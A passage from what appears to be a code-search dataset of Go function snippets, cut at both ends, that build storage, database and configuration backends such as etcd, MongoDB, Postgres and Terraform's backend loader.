\", \"))\n\t}\n\n\t// Run the factory with the configuration.\n\treturn engineFactory(conf)\n}", "func KeyfileSettingsBackendNew(filename, rootPath, rootGroup string) *SettingsBackend {\n\tcstr1 := (*C.gchar)(C.CString(filename))\n\tdefer C.free(unsafe.Pointer(cstr1))\n\n\tcstr2 := (*C.gchar)(C.CString(rootPath))\n\tdefer C.free(unsafe.Pointer(cstr2))\n\n\tcstr3 := (*C.gchar)(C.CString(rootGroup))\n\tdefer C.free(unsafe.Pointer(cstr3))\n\n\treturn wrapSettingsBackend(wrapObject(unsafe.Pointer(C.g_keyfile_settings_backend_new(cstr1, cstr2, cstr3))))\n}", "func (m *Meta) backendConfig(opts *BackendOpts) (*configs.Backend, int, tfdiags.Diagnostics) {\n\tvar diags tfdiags.Diagnostics\n\n\tif opts.Config == nil {\n\t\t// check if the config was missing, or just not required\n\t\tconf, moreDiags := m.loadBackendConfig(\".\")\n\t\tdiags = diags.Append(moreDiags)\n\t\tif moreDiags.HasErrors() {\n\t\t\treturn nil, 0, diags\n\t\t}\n\n\t\tif conf == nil {\n\t\t\tlog.Println(\"[TRACE] Meta.Backend: no config given or present on disk, so returning nil config\")\n\t\t\treturn nil, 0, nil\n\t\t}\n\n\t\tlog.Printf(\"[TRACE] Meta.Backend: BackendOpts.Config not set, so using settings loaded from %s\", conf.DeclRange)\n\t\topts.Config = conf\n\t}\n\n\tc := opts.Config\n\n\tif c == nil {\n\t\tlog.Println(\"[TRACE] Meta.Backend: no explicit backend config, so returning nil config\")\n\t\treturn nil, 0, nil\n\t}\n\n\tbf := backendInit.Backend(c.Type)\n\tif bf == nil {\n\t\tdetail := fmt.Sprintf(\"There is no backend type named %q.\", c.Type)\n\t\tif msg, removed := backendInit.RemovedBackends[c.Type]; removed {\n\t\t\tdetail = msg\n\t\t}\n\n\t\tdiags = diags.Append(&hcl.Diagnostic{\n\t\t\tSeverity: hcl.DiagError,\n\t\t\tSummary: \"Invalid backend type\",\n\t\t\tDetail: detail,\n\t\t\tSubject: &c.TypeRange,\n\t\t})\n\t\treturn nil, 0, diags\n\t}\n\tb := bf()\n\n\tconfigSchema := b.ConfigSchema()\n\tconfigBody := c.Config\n\tconfigHash := c.Hash(configSchema)\n\n\t// If we have an override configuration body then we must apply it now.\n\tif opts.ConfigOverride != nil {\n\t\tlog.Println(\"[TRACE] Meta.Backend: merging -backend-config=... CLI overrides into backend configuration\")\n\t\tconfigBody = configs.MergeBodies(configBody, opts.ConfigOverride)\n\t}\n\n\tlog.Printf(\"[TRACE] Meta.Backend: built configuration for %q backend with hash value %d\", c.Type, configHash)\n\n\t// We'll shallow-copy configs.Backend here so that we can replace the\n\t// body without affecting others that hold this reference.\n\tconfigCopy := *c\n\tconfigCopy.Config = configBody\n\treturn &configCopy, configHash, diags\n}", "func NewBackend(url string) Backend {\n\tcli, err := ethclient.Dial(url)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\treturn &backend{connect: cli}\n}", "func NewNewRelicBackend(appName string, licenseKey string) (*NewRelicBackend, error) {\n\tconfig := newrelic.NewConfig(appName, licenseKey)\n\tapp, err := newrelic.NewApplication(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Waiting for connection is essential or no data will make it during short-lived execution (e.g. Lambda)\n\terr = app.WaitForConnection(newRelicConnectionTimeout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &NewRelicBackend{\n\t\tclient: app,\n\t}, nil\n}", "func New() backend.Backend {\n\treturn &remotestate.Backend{\n\t\tConfigureFunc: configure,\n\n\t\t// Set the schema\n\t\tBackend: &schema.Backend{\n\t\t\tSchema: map[string]*schema.Schema{\n\t\t\t\t\"lock_id\": &schema.Schema{\n\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\tOptional: true,\n\t\t\t\t\tDescription: \"initializes the state in a locked configuration\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func NewBackend() *Server {\n\treturn &Server{\n\t\tIdleTimeout: 620 * time.Second,\n\t\tTCPKeepAlivePeriod: 3 * time.Minute,\n\t\tGraceTimeout: 30 * time.Second,\n\t\tWaitBeforeShutdown: 10 * time.Second,\n\t\tTrustProxy: Trusted(),\n\t\tH2C: true,\n\t\tHandler: http.NotFoundHandler(),\n\t}\n}", "func New(text string) (err error) {\n\treturn backendErr(errors.New(text))\n}", "func NewBackend(client *clientv3.Client, prefix string) *Backend {\n\treturn &Backend{\n\t\tclient: client,\n\t\tprefix: prefix,\n\t}\n}", "func (g *FakeClientFactory) New(context.Context, client.Reader, string, string) (capb.ConfigAgentClient, controllers.ConnCloseFunc, error) {\n\tif g.Caclient == nil {\n\t\tg.Reset()\n\t}\n\treturn g.Caclient, emptyConnCloseFunc, nil\n}", "func NewClient(config Config) Client {\n\ttyp := config.Type()\n\n\tswitch typ {\n\tcase Bolt:\n\t\tbe := NewBoltBackend(config.(*BoltConfig))\n\t\t// TODO: Return an error instead of panicking.\n\t\tif err := be.Open(); err != nil {\n\t\t\tpanic(fmt.Errorf(\"Opening bolt backend: %s\", err))\n\t\t}\n\t\tq := NewBoltQueue(be.db)\n\t\treturn newKVClient(be, q)\n\n\tcase Rocks:\n\t\t// MORE TEMPORARY UGLINESS TO MAKE IT WORK FOR NOW:\n\t\tif err := os.MkdirAll(config.(*RocksConfig).Dir, os.FileMode(int(0700))); err != nil {\n\t\t\tpanic(fmt.Errorf(\"Creating rocks directory %q: %s\", config.(*RocksConfig).Dir, err))\n\t\t}\n\t\tbe := NewRocksBackend(config.(*RocksConfig))\n\t\tqueueFile := filepath.Join(config.(*RocksConfig).Dir, DefaultBoltQueueFilename)\n\t\tdb, err := bolt.Open(queueFile, 0600, NewBoltConfig(\"\").BoltOptions)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"Creating bolt queue: %s\", err))\n\t\t}\n\t\tq := NewBoltQueue(db)\n\t\treturn newKVClient(be, q)\n\n\tcase Postgres:\n\t\tbe := NewPostgresBackend(config.(*PostgresConfig))\n\t\tq := NewPostgresQueue(config.(*PostgresConfig))\n\t\treturn newKVClient(be, q)\n\n\tdefault:\n\t\tpanic(fmt.Errorf(\"no client constructor available for db configuration type: %v\", typ))\n\t}\n}", "func NewBackend(cfg config.MongoBackend) (*Backend, error) {\n\tb := &Backend{\n\t\tlog: logging.Get(\"MongoDB Storage Backend\"),\n\t\tconfig: cfg,\n\t}\n\n\tclientOptions := options.Client().ApplyURI(cfg.URL)\n\tclient, err := mongo.NewClient(clientOptions)\n\tif err != nil {\n\t\tb.log.Errorf(\"Error creating new MongoDB client: %s\", err)\n\t\treturn nil, err\n\t}\n\tb.client = client\n\n\treturn b, nil\n}", "func New(cfg *Config, l *log.Logger) (*Backend, error) {\n\n\tvar err error\n\tb := &Backend{log: l, dbConfig: cfg.Mongo}\n\n\ta := 1\n\tfor {\n\t\terr = b.connectDB()\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\tif cfg.Debug {\n\t\t\treturn nil, err\n\t\t}\n\t\tlog.Printf(\"Database connection error! Attempt: %d\", a)\n\t\ta++\n\t\ttime.Sleep(3 * time.Second)\n\t}\n\n\tb.Model, err = model.New(b.session.DB(b.dbConfig.Name), l)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "func (m *Meta) loadBackendConfig(rootDir string) (*configs.Backend, tfdiags.Diagnostics) {\n\tmod, diags := m.loadSingleModule(rootDir)\n\n\t// Only return error diagnostics at this point. Any warnings will be caught\n\t// again later and duplicated in the output.\n\tif diags.HasErrors() {\n\t\treturn nil, diags\n\t}\n\n\tif mod.CloudConfig != nil {\n\t\tbackendConfig := mod.CloudConfig.ToBackendConfig()\n\t\treturn &backendConfig, nil\n\t}\n\n\treturn mod.Backend, nil\n}", "func NewCustom(localPath string, thread *singlethread.Thread, closeThread bool) (*Instance, error) {\n\ti := &Instance{}\n\ti.thread = thread\n\ti.closeThread = closeThread\n\n\tvar err error\n\tif localPath != \"\" {\n\t\ti.appDataDir, err = storage.AppDataPathWithParent(localPath)\n\t} else {\n\t\ti.appDataDir, err = storage.AppDataPath()\n\t}\n\tif err != nil {\n\t\treturn nil, errs.Wrap(err, \"Could not detect appdata dir\")\n\t}\n\n\t// Ensure appdata dir exists, because the sqlite driver sure doesn't\n\tif _, err := os.Stat(i.appDataDir); os.IsNotExist(err) {\n\t\terr = os.MkdirAll(i.appDataDir, os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn nil, errs.Wrap(err, \"Could not create config dir\")\n\t\t}\n\t}\n\n\tpath := filepath.Join(i.appDataDir, C.InternalConfigFileName)\n\t_, err = os.Stat(path)\n\tisNew := err != nil\n\n\tt := time.Now()\n\ti.db, err = sql.Open(\"sqlite\", fmt.Sprintf(`%s`, path))\n\tif err != nil {\n\t\treturn nil, errs.Wrap(err, \"Could not create sqlite connection to %s\", path)\n\t}\n\tprofile.Measure(\"config.sqlOpen\", t)\n\n\tt = time.Now()\n\t_, err = i.db.Exec(`CREATE TABLE IF NOT EXISTS config (key string NOT NULL PRIMARY KEY, value text)`)\n\tif err != nil {\n\t\treturn nil, errs.Wrap(err, \"Could not seed settings database\")\n\t}\n\tprofile.Measure(\"config.createTable\", t)\n\n\tif isNew {\n\t\tif err := i.importLegacyConfig(); err != nil {\n\t\t\t// This is unfortunate but not a case we're handling beyond effectively resetting the users config\n\t\t\tmultilog.Error(\"Failed to import legacy config: %s\", errs.JoinMessage(err))\n\t\t}\n\t}\n\n\treturn i, nil\n}", "func New() (backends.Backend, error) {\n\treturn &inMemoryBackend{\n\t\tdata: make(map[string]string),\n\t}, nil\n}", "func New(cfgPath string, devel bool) (*gin.Engine, error) {\n\treturn DefaultFactory.New(cfgPath, devel)\n}", "func Factory(ctx context.Context, conf *logical.BackendConfig) (logical.Backend, error) {\n\tb := Backend()\n\tif err := b.Setup(ctx, conf); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "func InitBackend() Backender {\n\tcfg = config.GetConfig()\n\ts := NewEmptyState()\n\tswitch {\n\tcase config.Contains(config.RemoteBackendTypes, cfg.StateBackend.Type):\n\t\tlog.Infof(\"using Remote StateBackend %s://%s/%s\", cfg.StateBackend.Type, cfg.StateBackend.Bucket, cfg.StateBackend.Path)\n\t\tbackend = RemoteBackend{\n\t\t\tPath: cfg.StateBackend.Path,\n\t\t\tstate: &s,\n\t\t\tBucket: cfg.StateBackend.Bucket,\n\t\t\tBlobType: cfg.StateBackend.Type,\n\t\t\tRegion: cfg.StateBackend.Region,\n\t\t}\n\tdefault:\n\t\tlog.Debugf(\"using Local State at %s\", cfg.StateBackend.Path)\n\t\tbackend = LocalBackend{\n\t\t\tPath: cfg.StateBackend.Path,\n\t\t\tstate: &s,\n\t\t}\n\t}\n\treturn backend\n}", "func New(ctx context.Context, config Config) (*Client, error) {\n\terr := config.checkAndSetDefaults()\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tc := &Client{Config: config}\n\tclient, err := c.connect(ctx)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tc.client = client\n\tc.addTerminationHandler()\n\treturn c, nil\n}", "func NewBackendService(mft *manifest.BackendService, env, app string, rc RuntimeConfig) (*BackendService, error) {\n\tparser := template.New()\n\taddons, err := addon.New(aws.StringValue(mft.Name))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"new addons: %w\", err)\n\t}\n\tenvManifest, err := mft.ApplyEnv(env) // Apply environment overrides to the manifest values.\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"apply environment %s override: %s\", env, err)\n\t}\n\treturn &BackendService{\n\t\tsvc: &svc{\n\t\t\tname: aws.StringValue(mft.Name),\n\t\t\tenv: env,\n\t\t\tapp: app,\n\t\t\ttc: envManifest.BackendServiceConfig.TaskConfig,\n\t\t\trc: rc,\n\t\t\tparser: parser,\n\t\t\taddons: addons,\n\t\t},\n\t\tmanifest: envManifest,\n\n\t\tparser: parser,\n\t}, nil\n}", "func New(ctx context.Context, params backend.Params, opts ...Option) (*EtcdBackend, error) {\n\tvar options options\n\tfor _, opt := range opts {\n\t\topt(&options)\n\t}\n\n\tif options.leaseBucket == 0 {\n\t\toptions.leaseBucket = time.Second * 10\n\t}\n\tif options.clock == nil {\n\t\toptions.clock = clockwork.NewRealClock()\n\t}\n\n\terr := metrics.RegisterPrometheusCollectors(prometheusCollectors...)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tif params == nil {\n\t\treturn nil, trace.BadParameter(\"missing etcd configuration\")\n\t}\n\n\t// convert generic backend parameters structure to etcd config:\n\tvar cfg *Config\n\tif err = apiutils.ObjectToStruct(params, &cfg); err != nil {\n\t\treturn nil, trace.BadParameter(\"invalid etcd configuration: %v\", err)\n\t}\n\tif err = cfg.Validate(); err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tbuf := backend.NewCircularBuffer(\n\t\tbackend.BufferCapacity(cfg.BufferSize),\n\t)\n\tcloseCtx, cancel := context.WithCancel(ctx)\n\n\tleaseCache, err := utils.NewFnCache(utils.FnCacheConfig{\n\t\tTTL: utils.SeventhJitter(time.Minute * 2),\n\t\tContext: closeCtx,\n\t\tClock: options.clock,\n\t\tReloadOnErr: true,\n\t\tCleanupInterval: utils.SeventhJitter(time.Minute * 2),\n\t})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tb := &EtcdBackend{\n\t\tEntry: log.WithFields(log.Fields{trace.Component: GetName()}),\n\t\tcfg: cfg,\n\t\tclients: newRoundRobin[*clientv3.Client](nil), // initialized below in reconnect()\n\t\tnodes: cfg.Nodes,\n\t\tcancelC: make(chan bool, 1),\n\t\tstopC: make(chan bool, 1),\n\t\tclock: options.clock,\n\t\tcancel: cancel,\n\t\tctx: closeCtx,\n\t\twatchDone: make(chan struct{}),\n\t\tbuf: buf,\n\t\tleaseBucket: utils.SeventhJitter(options.leaseBucket),\n\t\tleaseCache: leaseCache,\n\t}\n\n\t// Check that the etcd nodes are at least the minimum version supported\n\tif err = b.reconnect(ctx); err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\ttimeout, cancel := context.WithTimeout(ctx, time.Second*3*time.Duration(len(cfg.Nodes)))\n\tdefer cancel()\n\tfor _, n := range cfg.Nodes {\n\t\tstatus, err := b.clients.Next().Status(timeout, n)\n\t\tif err != nil {\n\t\t\treturn nil, trace.Wrap(err)\n\t\t}\n\n\t\tver := semver.New(status.Version)\n\t\tmin := semver.New(teleport.MinimumEtcdVersion)\n\t\tif ver.LessThan(*min) {\n\t\t\treturn nil, trace.BadParameter(\"unsupported version of etcd %v for node %v, must be %v or greater\",\n\t\t\t\tstatus.Version, n, teleport.MinimumEtcdVersion)\n\t\t}\n\t}\n\n\t// Reconnect the etcd client to work around a data race in their code.\n\t// Upstream fix: https://github.com/etcd-io/etcd/pull/12992\n\tif err = b.reconnect(ctx); err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tgo b.asyncWatch()\n\n\t// Wrap backend in a input sanitizer and return it.\n\treturn b, nil\n}", "func (m *Meta) backendFromState() (backend.Backend, tfdiags.Diagnostics) {\n\tvar diags tfdiags.Diagnostics\n\t// Get the path to where we store a local cache of backend configuration\n\t// if we're using a remote backend. This may not yet exist which means\n\t// we haven't used a non-local backend before. That is okay.\n\tstatePath := filepath.Join(m.DataDir(), DefaultStateFilename)\n\tsMgr := &clistate.LocalState{Path: statePath}\n\tif err := sMgr.RefreshState(); err != nil {\n\t\tdiags = diags.Append(fmt.Errorf(\"Failed to load state: %s\", err))\n\t\treturn nil, diags\n\t}\n\ts := sMgr.State()\n\tif s == nil {\n\t\t// no state, so return a local backend\n\t\tlog.Printf(\"[TRACE] Meta.Backend: backend has not previously been initialized in this working directory\")\n\t\treturn backendLocal.New(), diags\n\t}\n\tif s.Backend == nil {\n\t\t// s.Backend is nil, so return a local backend\n\t\tlog.Printf(\"[TRACE] Meta.Backend: working directory was previously initialized but has no backend (is using legacy remote state?)\")\n\t\treturn backendLocal.New(), diags\n\t}\n\tlog.Printf(\"[TRACE] Meta.Backend: working directory was previously initialized for %q backend\", s.Backend.Type)\n\n\t//backend init function\n\tif s.Backend.Type == \"\" {\n\t\treturn backendLocal.New(), diags\n\t}\n\tf := backendInit.Backend(s.Backend.Type)\n\tif f == nil {\n\t\tdiags = diags.Append(fmt.Errorf(strings.TrimSpace(errBackendSavedUnknown), s.Backend.Type))\n\t\treturn nil, diags\n\t}\n\tb := f()\n\n\t// The configuration saved in the working directory state file is used\n\t// in this case, since it will contain any additional values that\n\t// were provided via -backend-config arguments on terraform init.\n\tschema := b.ConfigSchema()\n\tconfigVal, err := s.Backend.Config(schema)\n\tif err != nil {\n\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\ttfdiags.Error,\n\t\t\t\"Failed to decode current backend config\",\n\t\t\tfmt.Sprintf(\"The backend configuration created by the most recent run of \\\"terraform init\\\" could not be decoded: %s. The configuration may have been initialized by an earlier version that used an incompatible configuration structure. Run \\\"terraform init -reconfigure\\\" to force re-initialization of the backend.\", err),\n\t\t))\n\t\treturn nil, diags\n\t}\n\n\t// Validate the config and then configure the backend\n\tnewVal, validDiags := b.PrepareConfig(configVal)\n\tdiags = diags.Append(validDiags)\n\tif validDiags.HasErrors() {\n\t\treturn nil, diags\n\t}\n\n\tconfigDiags := b.Configure(newVal)\n\tdiags = diags.Append(configDiags)\n\tif configDiags.HasErrors() {\n\t\treturn nil, diags\n\t}\n\n\treturn b, diags\n}", "func New(ctx context.Context, alias, path string) (*Store, error) {\n\tdebug.Log(\"Instantiating %q at %q\", alias, path)\n\n\ts := &Store{\n\t\talias: alias,\n\t\tpath: path,\n\t}\n\n\t// init storage and rcs backend\n\tif err := s.initStorageBackend(ctx); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to init storage backend: %w\", err)\n\t}\n\n\tdebug.Log(\"Storage for %s => %s initialized as %v\", alias, path, s.storage)\n\n\t// init crypto backend\n\tif err := s.initCryptoBackend(ctx); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to init crypto backend: %w\", err)\n\t}\n\n\tdebug.Log(\"Crypto for %s => %s initialized as %v\", alias, path, s.crypto)\n\n\treturn s, nil\n}", "func NewEtcdBackend(conf map[string]string, logger log.Logger) (physical.Backend, error) {\n\tvar (\n\t\tapiVersion string\n\t\tok bool\n\t)\n\n\t// v2 client can talk to both etcd2 and etcd3 thought API v2\n\tc, err := newEtcdV2Client(conf)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to create etcd client: \" + err.Error())\n\t}\n\n\tremoteAPIVersion, err := getEtcdAPIVersion(c)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to get etcd API version: \" + err.Error())\n\t}\n\n\tif apiVersion, ok = conf[\"etcd_api\"]; !ok {\n\t\tapiVersion = os.Getenv(\"ETCD_API\")\n\t}\n\n\tif apiVersion == \"\" {\n\t\tpath, ok := conf[\"path\"]\n\t\tif !ok {\n\t\t\tpath = \"/vault\"\n\t\t}\n\t\tkAPI := client.NewKeysAPI(c)\n\n\t\t// keep using v2 if vault data exists in v2 and user does not explicitly\n\t\t// ask for v3.\n\t\t_, err := kAPI.Get(context.Background(), path, &client.GetOptions{})\n\t\tif errorIsMissingKey(err) {\n\t\t\tapiVersion = remoteAPIVersion\n\t\t} else if err == nil {\n\t\t\tapiVersion = \"2\"\n\t\t} else {\n\t\t\treturn nil, errors.New(\"failed to check etcd status: \" + err.Error())\n\t\t}\n\t}\n\n\tswitch apiVersion {\n\tcase \"2\", \"etcd2\", \"v2\":\n\t\treturn newEtcd2Backend(conf, logger)\n\tcase \"3\", \"etcd3\", \"v3\":\n\t\tif remoteAPIVersion == \"2\" {\n\t\t\treturn nil, errors.New(\"etcd3 is required: etcd2 is running\")\n\t\t}\n\t\treturn newEtcd3Backend(conf, logger)\n\tdefault:\n\t\treturn nil, EtcdVersionUnknown\n\t}\n}", "func NewFramework(c *config.Config) Framework {\n\treqHeader := preset.NewHeaderPresetter(preset.RequestType)\n\trespHeader := preset.NewHeaderPresetter(preset.ResponseType)\n\thost := preset.NewHostPresetter()\n\n\tgf := &genericFramework{\n\t\tdataDirs: nil,\n\t\tclient: roundtrip.NewClientset(http.DefaultClient),\n\t\tcleaners: map[string]cleaner.Cleaner{},\n\t\tpresetters: map[string]preset.Presetter{\n\t\t\treqHeader.Name(): reqHeader,\n\t\t\trespHeader.Name(): respHeader,\n\t\t\thost.Name(): host,\n\t\t},\n\t\tadam: &runtime.Context{\n\t\t\tSummary: \"adam context\",\n\t\t\tVariables: jsonutil.NewVariableMap(\"\", nil),\n\t\t},\n\t\tc: c,\n\t}\n\n\treturn gf\n}", "func LoadConfig(filename string) (*datastore.InstanceConfig, *dvid.LogConfig, *storage.Backend, error) {\n\tif filename == \"\" {\n\t\treturn nil, nil, nil, fmt.Errorf(\"No server TOML configuration file provided\")\n\t}\n\tif _, err := toml.DecodeFile(filename, &tc); err != nil {\n\t\treturn nil, nil, nil, fmt.Errorf(\"Could not decode TOML config: %v\\n\", err)\n\t}\n\n\t// Get all defined stores.\n\tbackend := new(storage.Backend)\n\tbackend.Groupcache = tc.Groupcache\n\tvar err error\n\tbackend.Stores, err = tc.Stores()\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\n\t// Get default store if there's only one store defined.\n\tif len(backend.Stores) == 1 {\n\t\tfor k := range backend.Stores {\n\t\t\tbackend.Default = storage.Alias(strings.Trim(string(k), \"\\\"\"))\n\t\t}\n\t}\n\n\t// Create the backend mapping.\n\tbackend.Mapping = make(map[dvid.DataSpecifier]storage.Alias)\n\tfor k, v := range tc.Backend {\n\t\t// lookup store config\n\t\t_, found := backend.Stores[v.Store]\n\t\tif !found {\n\t\t\treturn nil, nil, nil, fmt.Errorf(\"Backend for %q specifies unknown store %q\", k, v.Store)\n\t\t}\n\t\tspec := dvid.DataSpecifier(strings.Trim(string(k), \"\\\"\"))\n\t\tbackend.Mapping[spec] = v.Store\n\t}\n\tdefaultAlias, found := backend.Mapping[\"default\"]\n\tif found {\n\t\tbackend.Default = defaultAlias\n\t} else {\n\t\tif backend.Default == \"\" {\n\t\t\treturn nil, nil, nil, fmt.Errorf(\"if no default backend specified, must have exactly one store defined in config file\")\n\t\t}\n\t}\n\tdefaultMetadataName, found := backend.Mapping[\"metadata\"]\n\tif found {\n\t\tbackend.Metadata = defaultMetadataName\n\t} else {\n\t\tif backend.Default == \"\" {\n\t\t\treturn nil, nil, nil, fmt.Errorf(\"can't set metadata if no default backend specified, must have exactly one store defined in config file\")\n\t\t}\n\t\tbackend.Metadata = backend.Default\n\t}\n\n\t// The server config could be local, cluster, gcloud-specific config. Here it is local.\n\tconfig = &tc\n\tic := datastore.InstanceConfig{\n\t\tGen: tc.Server.IIDGen,\n\t\tStart: dvid.InstanceID(tc.Server.IIDStart),\n\t}\n\treturn &ic, &(tc.Logging), backend, nil\n}", "func New(ctx context.Context) *backend {\n\treturn &backend{\n\t\theaps: make(map[string]*taskHeap),\n\t\tbyID: make(map[uuid.UUID]*hItem),\n\t\tnw: subq.New(),\n\t}\n}", "func StartBackend(cfg *gw.Config) (*Services, error) {\n\tac, err := NewAccessConfig(cfg.AccessConfigFile)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(\n\t\t\terr, \"loading repository access configuration failed\")\n\t}\n\n\tldb, err := OpenLeaseDB(cfg.LeaseDB, cfg)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create lease DB\")\n\t}\n\n\tpool, err := receiver.StartPool(cfg.ReceiverPath, cfg.NumReceivers, cfg.MockReceiver)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not start receiver pool\")\n\t}\n\n\tns, err := NewNotificationSystem(cfg.WorkDir)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize notification system\")\n\t}\n\n\treturn &Services{Access: *ac, Leases: ldb, Pool: pool, Notifications: ns, Config: *cfg}, nil\n}", "func New(conf *Config, mongoConf *mongo.Config) (*Backend, error) {\n\tclient, err := mongo.NewClient(mongoConf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Backend{\n\t\tConfig: conf,\n\t\tDB: client,\n\t\tMutexMap: sync.NewMutexMap(),\n\t\tPubSub: mempubsub.New(),\n\t\tclosing: make(chan struct{}),\n\t}, nil\n}", "func (c *localComponent) Init(ctx environment.ComponentContext, deps map[dependency.Instance]interface{}) (out interface{}, err error) {\n\t_, ok := ctx.Environment().(*local.Implementation)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"unsupported environment: %q\", ctx.Environment().EnvironmentID())\n\t}\n\n\tbe := &policyBackend{\n\t\tenv: ctx.Environment(),\n\t\tlocal: true,\n\t}\n\n\tscopes.CI.Infof(\"=== BEGIN: Start local PolicyBackend ===\")\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tscopes.CI.Infof(\"=== FAILED: Start local PolicyBackend ===\")\n\t\t\t_ = be.Close()\n\t\t} else {\n\t\t\tscopes.CI.Infof(\"=== SUCCEEDED: Start local PolicyBackend ===\")\n\t\t}\n\t}()\n\n\tbe.backend = policy.NewPolicyBackend(0) // auto-allocate port\n\tif err = be.backend.Start(); err != nil {\n\t\treturn\n\t}\n\tbe.prependCloser(be.backend.Close)\n\n\tvar ctl interface{}\n\tctl, err = retry.Do(func() (interface{}, bool, error) {\n\t\tc, err := policy.NewController(fmt.Sprintf(\":%d\", be.backend.Port()))\n\t\tif err != nil {\n\t\t\tscopes.Framework.Debugf(\"error while connecting to the PolicyBackend controller: %v\", err)\n\t\t\treturn nil, false, err\n\t\t}\n\t\treturn c, true, nil\n\t}, retryDelay)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbe.controller = ctl.(*policy.Controller)\n\n\treturn be, nil\n}", "func ConfigFromBackend(coreBackend ...core.ConfigBackend) core.CryptoSuiteConfig {\n\treturn &Config{backend: lookup.New(coreBackend...)}\n}", "func New(cfg config.StorageConfig) (*PgClient, *errors.Error) {\n\tctx, cancel := context.WithTimeout(context.Background(), cfg.GetTimeout())\n\tdefer cancel()\n\tpool, err := pg.Connect(ctx, cfg.GetConnStr())\n\tif err != nil {\n\t\treturn nil, errors.New(errors.InvalidConfigError, fmt.Sprintf(\"failed to connect pg: %v\", err))\n\t}\n\tDB := &PgClient{\n\t\tpool,\n\t\tcfg.GetTimeout(),\n\t}\n\treturn DB, nil\n}", "func NewLegacy(ctx context.Context, connection string, tlsInfo tls.Config) (server.Backend, error) {\n\treturn newBackend(ctx, connection, tlsInfo, true)\n}", "func New(logger *logrus.Logger, emulator Emulator) *Backend {\n\treturn &Backend{\n\t\tlogger: logger,\n\t\temulator: emulator,\n\t\tautomine: false,\n\t}\n}", "func Factory(ctx context.Context, conf *logical.BackendConfig) (logical.Backend, error) {\n\tb := Backend(conf)\n\tif err := b.Setup(ctx, conf); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "func Factory(ctx context.Context, conf *logical.BackendConfig) (logical.Backend, error) {\n\tb := Backend(conf)\n\tif err := b.Setup(ctx, conf); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "func (g *FakeDatabaseClientFactory) New(context.Context, client.Reader, string, string) (dbdpb.DatabaseDaemonClient, func() error, error) {\n\tif g.Dbclient == nil {\n\t\tg.Reset()\n\t}\n\treturn g.Dbclient, func() error { return nil }, nil\n}", "func New(config Config) (*Provider, error) {\n\t// Dependencies.\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Logger must not be empty\")\n\t}\n\n\t// Settings.\n\tif config.BridgeName == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.BridgeName must not be empty\")\n\t}\n\n\tnewProvider := &Provider{\n\t\t// Dependencies.\n\t\tlogger: config.Logger,\n\n\t\t// Settings.\n\t\tbridgeName: config.BridgeName,\n\t}\n\n\treturn newProvider, nil\n}", "func NewConfig(configPath string) (*Config, error) {\n\tcfg := DefaultConfig()\n\n\tif configPath == \"\" {\n\t\treturn cfg, nil\n\t}\n\n\t// if configPath does not exist, return default configuration\n\tif _, err := os.Stat(configPath); os.IsNotExist(err) {\n\t\treturn cfg, nil\n\t}\n\n\t_, err := toml.DecodeFile(configPath, &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cfg, nil\n}", "func (m *Meta) Backend(opts *BackendOpts) (backend.Enhanced, tfdiags.Diagnostics) {\n\tvar diags tfdiags.Diagnostics\n\n\t// If no opts are set, then initialize\n\tif opts == nil {\n\t\topts = &BackendOpts{}\n\t}\n\n\t// Initialize a backend from the config unless we're forcing a purely\n\t// local operation.\n\tvar b backend.Backend\n\tif !opts.ForceLocal {\n\t\tvar backendDiags tfdiags.Diagnostics\n\t\tb, backendDiags = m.backendFromConfig(opts)\n\t\tdiags = diags.Append(backendDiags)\n\n\t\tif diags.HasErrors() {\n\t\t\treturn nil, diags\n\t\t}\n\n\t\tlog.Printf(\"[TRACE] Meta.Backend: instantiated backend of type %T\", b)\n\t}\n\n\t// Set up the CLI opts we pass into backends that support it.\n\tcliOpts, err := m.backendCLIOpts()\n\tif err != nil {\n\t\tif errs := providerPluginErrors(nil); errors.As(err, &errs) {\n\t\t\t// This is a special type returned by m.providerFactories, which\n\t\t\t// indicates one or more inconsistencies between the dependency\n\t\t\t// lock file and the provider plugins actually available in the\n\t\t\t// local cache directory.\n\t\t\t//\n\t\t\t// If initialization is allowed, we ignore this error, as it may\n\t\t\t// be resolved by the later step where providers are fetched.\n\t\t\tif !opts.Init 